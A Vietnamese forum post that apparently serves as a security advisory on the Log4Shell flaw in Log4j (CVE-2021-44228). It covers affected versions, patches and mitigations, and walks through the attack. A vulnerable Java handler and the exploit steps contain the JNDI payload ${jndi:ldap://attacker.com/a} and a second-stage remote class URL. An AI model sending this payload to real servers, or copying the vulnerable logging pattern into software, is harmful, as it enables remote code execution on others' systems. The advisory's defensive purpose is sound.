Khẩn cấp: Lỗ hổng RCE ảnh hưởng đến thư viện Log4j trong Java, đã có mã khai thác

[Marcus1337]

Mã khai thác 0-day trong thư viện Log4j trên Java vừa mới được công bố. Lỗ hổng được đặt tên là Log4Shell hay LogJam - mã định danh CVE-2021-44228 có thể dẫn tới khai thác mã từ xa (RCE) bằng cách gửi một chuỗi (string) đặc biệt đến hệ thống tồn tại lỗ hổng.

Log4j là 1 thư viện dùng để ghi log, được hầu hết các nhà phát triển ứng dụng bằng Java sử dụng do đó phạm vi ảnh hưởng của lỗ hổng là cực lớn, tác động đến nhiều hệ thống trên internet được phát triển từ Java.

Với mức độ phổ biến của thư viện này và cách thức khai thác để kiểm soát toàn bộ máy chủ dễ dàng khiến lỗ hổng được đánh giá là cực kỳ nghiêm trọng.

​

Hệ thống nào bị ảnh hưởng?

Rất nhiều dịch vụ dính lỗ hổng này, phần lớn các dịch vụ phát triển bằng Java sử dụng log4j sẽ bị ảnh hưởng. Các dịch vụ đám mây như Steam, Apple iCloud và các ứng dụng như Minecraft được phát hiện là dính lỗ hổng.

Các ứng dụng sử dụng Apache Struts có khả năng cao sẽ bị ảnh hưởng bởi lỗ hổng này. Đã từng có vụ khai thác tương tự như lỗ hổng này được phát hiện trong vụ vi phạm dữ liệu vào Equifax năm 2017.

Nhiều dự án nguồn mở như máy chủ Minecraft, Paper, đã bắt đầu vá lỗi sử dụng log4j của mình.

Theo bài đăng trên blog, các phiên bản JDK lớn hơn 6u211, 7u201, 8u191 và 11.0.1 không bị ảnh hưởng bởi vectơ tấn công LDAP. Trong các phiên bản này, com.sun.jndi.ldap.object.trustURLCodebase được đặt thành false nghĩa là JNDI không thể tải code từ xa bằng LDAP.

Tuy nhiên, có những cách thức tấn công khác nhắm vào lỗ hổng có thể dẫn đến RCE. Tùy thuộc vào mã nào hiện có trên máy chủ, kẻ tấn công vẫn có thể tận dụng mã hiện có này để thực thi payload hay một cuộc tấn công nhắm vào lớp org.apache.naming.factory.BeanFactory, hiện diện trên các máy chủ Apache Tomcat.

Phiên bản Apache log4j có lỗ hổng

2.0 <= Apache log4j <= 2.14.1

Cách khắc phục

Kể từ ngày 10 tháng 12 năm 2021, phiên bản 2.15.0 đã được phát hành. log4j-core.jar có sẵn trên Maven Central với thông báo lỗ hổng an ninh log4j.

Các bản phát hành cho GitHub dường như vẫn đang chờ xử lý.

​

Khắc phục tạm thời
Có thể khắc phục lỗ hổng này từ phiên bản 2.10.0 trở lên bằng cách set thuộc tính 'formatMsgNoLookups = true', còn đối với phiên bản 2.15.0 thì không cần thiết vì đã được đặt mặc định thuộc tính này.

Nếu bạn đang sử dụng phiên bản cũ hơn 2.10.0 và không thể nâng cấp, thì cách giảm thiểu rủi ro đó là:

• Sửa đổi logging pattern layout để % m {nolookups} thay vì % m trong tệp cấu hình ghi nhật ký, xem chi tiết tại [https://issues.apache.org/jira/browse/LOG4J2-2109] (https://issues.apache.org/jira/browse/LOG4J2-2109)
• Thay thế class org.apache.logging.log4j.core.lookup.JndiLookup bằng class trống hoặc class cũ không có lỗi, theo cách mà trình classloader nạp lớp của bạn sử dụng thay thế của bạn thay vì phiên bản dễ bị tấn công của class.

Cách mã khai thác hoạt động
Yêu cầu để khai thác lỗ hổng:

• Server sử dụng phiên bản log4j tồn tại lỗi
• Hacker gửi một payload đến một endpoint trên server với bất kỳ giao thức nào (HTTP, TCP, ...)
• Server chứa lỗ hổng sẽ xử lý payload mà hacker gửi lên

Code mẫu có lỗ hổng

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
 
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Các bước khai thác

1. Dữ liệu được gửi từ người dùng đến máy chủ (qua bất kỳ giao thức nào)
2. Server nhận request mà người dùng gửi lên có chứa mã độc ${jndi:ldap://[attacker.com](<http://attacker.com>)/a} (attacker.com là server điều khiển của kẻ tấn công.
3. Lỗ hổng log4j được kích hoạt bởi payload này và máy chủ tạo request tới attacker.com thông qua"Java Naming and Directory Interface" (JNDI).
4. Respone trả về chứa một đường dẫn đến tệp class Java từ xa (ví dụ: http://second-stage.attacker.com/Exploit.class) được chèn vào luồng xử lý của máy chủ.
5. Payload được truyền vào trong tệp class đã cho phép kẻ tấn công có thể thực thi các đoạn code tuỳ ý.

Hiện các PoC và các biến thể mới của mã khai thác liên quan đến lỗ hổng trong log4j đang được phát triển và các bên khai thác rất nhiều. Hơn nữa thư viện log4j rất phổ biến trong việc phát triển ứng dụng Java, do đó các bạn nên rà soát thực hiện các biện pháp giảm thiểu khắc phục lỗ hổng tạm thời, đồng thời cập nhật lên phiên bản mới nhất khi có thể trên các ứng dụng mình phát triển.

Theo lunasec​